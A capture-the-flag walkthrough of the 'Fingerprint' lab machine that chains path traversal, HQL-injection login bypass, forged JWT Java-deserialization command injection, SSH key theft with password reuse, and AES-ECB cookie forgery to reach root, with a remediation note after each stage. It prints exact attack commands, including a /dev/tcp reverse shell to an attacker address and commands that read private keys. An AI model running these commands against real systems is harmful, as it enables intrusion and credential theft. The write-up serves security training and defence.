← all walkthroughs

Fingerprint

Linux· Insane
owned
2026-10-17
time to own
20m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The host ran two web applications: a Python/Flask 'mylog' manager on port 80 whose admin file viewer allowed unauthenticated path traversal, and a GlassFish 5.0.1 Java login portal on port 8080 (fingerprint.htb). The GlassFish login validated a client-side device fingerprint (auth_secondary from login.js) and was vulnerable to HQL injection, which bypassed authentication.

Its source, recoverable from /backups and the deployed app.war, exposed the HS256 key that signed the session cookie, a Java-serialized user object inside that cookie, and a plaintext database password in HibernateUtil. Forging the signed cookie with a serialized object whose username field carried a command injection gave a reverse shell as www-data.

The HibernateUtil password doubled as the passphrase for john's SSH key, which the Flask path traversal could read, giving a john shell and the user flag. As john, a backup of a second, root-run Flask app revealed an AES-ECB session cookie; forging an admin cookie and using the same path traversal over an SSH tunnel read root's SSH key, which logged in as root for the root flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"
export LPORT="<a-value-you-captured-earlier>"

Some commands also carry a value in angle brackets — <aligned-admin-blocks>, <fingerprint>, <forged_user_id>, <your_user_id> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService and web application enumeration
Mapped the exposed services
A port scan showed SSH (22), a Python/Werkzeug server on port 80 serving a Flask 'mylog' manager, and GlassFish Server Open Source Edition 5.0.1 on port 8080 serving a Java login portal on the fingerprint.htb virtual host.
22/tcp OpenSSH, 80/tcp Werkzeug httpd 1.0.1 (Python 2.7.17), 8080/tcp GlassFish 5.0.1 (Servlet/3.1 JSP/2.3, Java 1.8).
Exact commands 2
shell

Ports 22, 80 and 8080 open; 80 is Flask/Werkzeug, 8080 is GlassFish.

$ nmap -p- --min-rate 2000 -sC -sV $TARGET
shell

Confirms GlassFish 5.0.1 and the fingerprint.htb login portal.

$ curl -ksS -L -D - http://$TARGET:8080/
2ExploitationPath traversal / arbitrary file read (CWE-22)
Read arbitrary files through the Flask admin viewer
The Flask app's /admin/view endpoint on port 80 joined the requested name onto a base path with no traversal guard, so '../' sequences escaped the intended directory and returned any file the Flask process could read. This exposed /etc/passwd and the application's own source for review.
GET /admin/view/../../../../../etc/passwd returned the password file; the same primitive returned /home/flask/app/app.py.
Exact commands 2
shell

Confirms unauthenticated arbitrary file read (lists local users including john).

$ curl --path-as-is -sS http://$TARGET/admin/view/../../../../../etc/passwd
shell

Pull the Flask source to understand the viewer and the cookie scheme.

$ curl --path-as-is -sS http://$TARGET/admin/view/../../../../../home/flask/app/app.py
FixFix path traversal in the Flask admin file viewerHigh
WeaknessThe /admin/view endpoint joined a user-supplied name onto a base path without rejecting '../', allowing any file the process could read to be returned, including application source and SSH keys.
FixResolve the requested path against a fixed base directory and verify with realpath that the result stays inside it; reject '..' and absolute paths. Serve only an explicit allow-list of files, and run the web process as an unprivileged account that cannot read keys or other users' homes.
3EnumerationClient-side fingerprint harvesting from login.js
Recovered the device fingerprint the GlassFish login requires
The GlassFish login posted three fields: uid, auth_primary and auth_secondary. The auth_secondary value is a device fingerprint computed in the browser by resources/js/login.js (getFingerPrintID). A valid fingerprint value is required alongside the login payload, so the script was pulled and its fingerprint value captured for reuse in the bypass.
resources/js/login.js defined getFingerPrintID(); the login endpoint rejected requests without a matching auth_secondary, and a captured fingerprint value (auth_secondary) was accepted by the next request.
Exact commands 1
shell

Shows getFingerPrintID() and how auth_secondary is derived; capture a valid fingerprint value to reuse.

$ curl -sS http://$TARGET:8080/resources/js/login.js
FixUse parameterized queries on the GlassFish login and do not trust a client-side fingerprintCritical
WeaknessThe uid field was concatenated into an HQL query, allowing an authentication bypass, and the second factor was a device fingerprint computed in the browser, which an unauthorised user can read from login.js and replay.
FixUse parameterized HQL/criteria queries so input cannot alter query logic. Treat any value produced by client-side JavaScript as externally controlled; enforce authentication server-side and use a real second factor rather than a reproducible browser fingerprint.
4Authentication BypassHQL injection authentication bypass (CWE-89)
Bypassed the GlassFish login with HQL injection
The uid field was concatenated into a Hibernate Query Language query. A single quote triggered an Internal Server Error, confirming injection. Submitting a boolean payload in uid together with the valid fingerprint in auth_secondary logged the session in as the application user and reached the authenticated /welcome page.
POST /login with uid=' or username<>'admin and the harvested auth_secondary returned a valid session cookie; /welcome rendered as an authenticated user.
Exact commands 2
shell

HQL boolean bypass; replace <fingerprint> with the value from step 3. Returns an authenticated session.

$ curl --resolve fingerprint.htb:8080:$TARGET -sS -i -c cookies.txt -X POST http://fingerprint.htb:8080/login --data-urlencode "uid=' or username<>'admin" --data-urlencode 'auth_primary=a' --data-urlencode 'auth_secondary=<fingerprint>'
shell

Confirms the authenticated area is reachable.

$ curl -sS -b cookies.txt http://fingerprint.htb:8080/welcome
5Source ReviewExposure of source code and hard-coded secrets (CWE-798)
Pulled the Java source and recovered the signing key and a reused password
The portal served its own source under /backups and the deployed archive was readable through the Flask path traversal. Reviewing it showed the session cookie is a signed JWT whose 'user' claim is a base64 Java-serialized User object, revealed the HS256 signing key, and exposed a plaintext database password hard-coded in HibernateUtil.
/backups/User.java, Profile.java, UserProfileStorage.java and HibernateUtil.java were downloadable; app.war was retrieved via the Flask traversal; HibernateUtil held the plaintext password $PASSWORD and the JWT HS256 key was recovered from the source.
Exact commands 2
shell

HibernateUtil.java contains the plaintext DB password; the cookie classes show the serialized-object design and the HS256 key.

$ for n in User Profile UserProfileStorage HibernateUtil DBUtil; do curl -sS -o $n.java "http://$TARGET:8080/backups/$n.java"; done; grep -RniE 'password|secret|key' *.java
shell

Retrieve the deployed archive through the Flask traversal for full decompilation.

$ curl --path-as-is -sS http://$TARGET/admin/view/../../../../../opt/glassfish5/glassfish/domains/domain1/applications/__internal/app/app.war -o app.war
FixStop deserializing untrusted objects and remove hard-coded secrets and source exposureCritical
WeaknessThe session cookie carried a Java-serialized object that the server deserialized and whose field was used in a shell command, and the signing key plus a plaintext database password were recoverable from downloadable source and the deployed archive.
FixNever deserialize untrusted input into Java objects; use a signed, non-executable token format (plain claims) and never build shell commands or file paths from its fields. Remove /backups and the WAR from web-reachable paths, keep secrets out of source, and rotate the signing key and any exposed passwords.
6Initial AccessInsecure Java deserialization with command injection (CWE-502, CWE-78)
Forged a signed cookie with a serialized object that injected a command
The session cookie is a JWT signed with the recovered HS256 key, carrying a base64 Java-serialized object as the user claim. On the server that object is deserialized and its username field is used to build a filesystem path, so a username containing a shell command substitution runs that command. I built a serialized UserProfileStorage/User whose username was a '$(...)' command substitution running a base64-encoded reverse shell, signed the JWT with the recovered key, and sent it to /welcome, which deserialized it and connected back as www-data.
A JWT signed with the recovered key, whose user claim deserialized to a User with username '../../../../../$(echo <b64 reverse shell>|base64 -d|bash)/../../../data/uploads/profile', produced a callback: uid=33(www-data) on host fingerprint.
Exact commands 3
shell

Catch the reverse shell (the payload connects to $ATTACKER_IP:$LPORT).

$ nc -lvnp $LPORT
shell

Sign the JWT with the recovered HS256 key ($KEY). serialized_user.b64 is the Java object whose username is '../../../../../$(echo <base64 of: bash -i >& /dev/tcp/$ATTACKER_IP/$LPORT 0>&1>)|base64 -d|bash)/../../../data/uploads/profile'.

$ python3 -c 'import base64,json,hmac,hashlib; e=lambda b:base64.urlsafe_b64encode(b).rstrip(b"="); h=e(json.dumps({"typ":"JWT","alg":"HS256"},separators=(",",":")).encode()); p=e(json.dumps({"user":open("serialized_user.b64").read().strip()},separators=(",",":")).encode()); s=h+b"."+p; open("forged.jwt","wb").write(s+b"."+e(hmac.new(b"'"$KEY"'",s,hashlib.sha256).digest()))'
shell

The server deserializes the user object and runs the injected command; the listener catches www-data.

$ curl -sS -i -H 'Host: fingerprint.htb:8080' -H "Cookie: user=$(cat forged.jwt)" http://$TARGET:8080/welcome
7Lateral MovementCredential and SSH key reuse (T1552.004, T1021.004)
Reused the HibernateUtil password to unlock john's SSH key
The plaintext password from HibernateUtil was reused as the passphrase for the user john's SSH private key. The key file was readable through the Flask path traversal; unlocking it with that passphrase gave an interactive SSH session as john and the user flag.
GET /admin/view/../../../../../tmp/john_id_rsa returned john's passphrase-protected key; ssh-keygen -y with the HibernateUtil password validated it; ssh john returned uid=1000(john) and user.txt.
Exact commands 3
shell

Read john's SSH private key through the Flask traversal.

$ curl --path-as-is -sS http://$TARGET/admin/view/../../../../../tmp/john_id_rsa -o john_id_rsa; chmod 600 john_id_rsa
shell

Strip the passphrase (the HibernateUtil password) so the key can be used directly.

$ ssh-keygen -p -P "$PASSWORD" -N '' -f john_id_rsa
shell

Log in as john and read <user.txt>.

$ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i john_id_rsa john@$TARGET 'whoami; id; cat /home/john/user.txt'
uid=1000(john)
FixDo not reuse one password across a database and an SSH key passphraseHigh
WeaknessThe plaintext database password in HibernateUtil was also the passphrase on john's SSH key, so one leaked secret unlocked a stolen key and gave interactive access.
FixUse unique secrets per purpose, store SSH keys only where their owner can read them, and rotate any secret that has been exposed. Prefer short-lived or hardware-backed keys for interactive access.
8Privilege EscalationAES-ECB session cookie forgery and path traversal in a root service (CWE-327, CWE-22)
Forged an AES-ECB admin cookie for a root-run internal app and read root's key
A backup of a second, hardened Flask app (/var/backups/flask-app-secure.bak), readable as john, showed an internal admin service bound to 127.0.0.1:8088 running as root, with sessions carried in a user_id cookie encrypted with AES in ECB mode. Because ECB encrypts each block independently, I used the profile-rename field to control plaintext blocks and assemble a cookie that decrypts to an admin record. Over an SSH tunnel to 8088 the forged cookie reached /admin, and the same path-traversal viewer, now running as root, read /root/.ssh/id_rsa. That key logged in as root.
flask-app-secure.bak revealed the 8088 admin app and its AES-ECB user_id cookie; through the SSH tunnel a forged user_id cookie reached /admin, GET /admin/view/../../../../../root/.ssh/id_rsa returned root's private key, and ssh -i returned uid=0(root) with root.txt.
Exact commands 5
shell

As john, recover the secure app; it binds admin to 127.0.0.1:8088 as root and uses an AES-ECB user_id cookie.

$ scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i john_id_rsa john@$TARGET:/var/backups/flask-app-secure.bak . && unzip -q flask-app-secure.bak -d secureapp && grep -RniE 'AES|ECB|user_id|8088|admin' secureapp
shell

Tunnel to the localhost-only admin service (leave running in another shell).

$ ssh -N -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -L 127.0.0.1:18088:127.0.0.1:8088 -i john_id_rsa john@$TARGET
shell

Rename the profile so controlled AES-ECB blocks assemble into an admin record; the response sets the forged user_id.

$ curl -sS -i -X POST http://127.0.0.1:18088/profile -H 'Cookie: user_id=<your_user_id>' --data-urlencode 'new_name=user,<aligned-admin-blocks>'
shell

The forged cookie reaches the root-run viewer; read root's SSH key.

$ curl --path-as-is -sS -H 'Cookie: user_id=<forged_user_id>' http://127.0.0.1:18088/admin/view/../../../../../root/.ssh/id_rsa -o root_id_rsa; chmod 600 root_id_rsa
shell

Log in as root and read <root.txt>.

$ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i root_id_rsa root@$TARGET 'whoami; id; cat /root/root.txt'
uid=0(root)
FixReplace the AES-ECB session cookie and do not run the admin viewer as rootCritical
WeaknessThe internal admin service encrypted its session cookie with AES in ECB mode, letting anyone who controlled part of the plaintext assemble a valid admin cookie, and it ran as root with the same path-traversal viewer, so a forged cookie read root's SSH key.
FixUse authenticated encryption (AES-GCM) or a signed server-side session id, never ECB, and never let user-controlled input line up cookie plaintext blocks. Run the admin service as a low-privilege account, bind it to localhost only as a layer (not the sole control), and apply.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
80/tcp
8080/tcp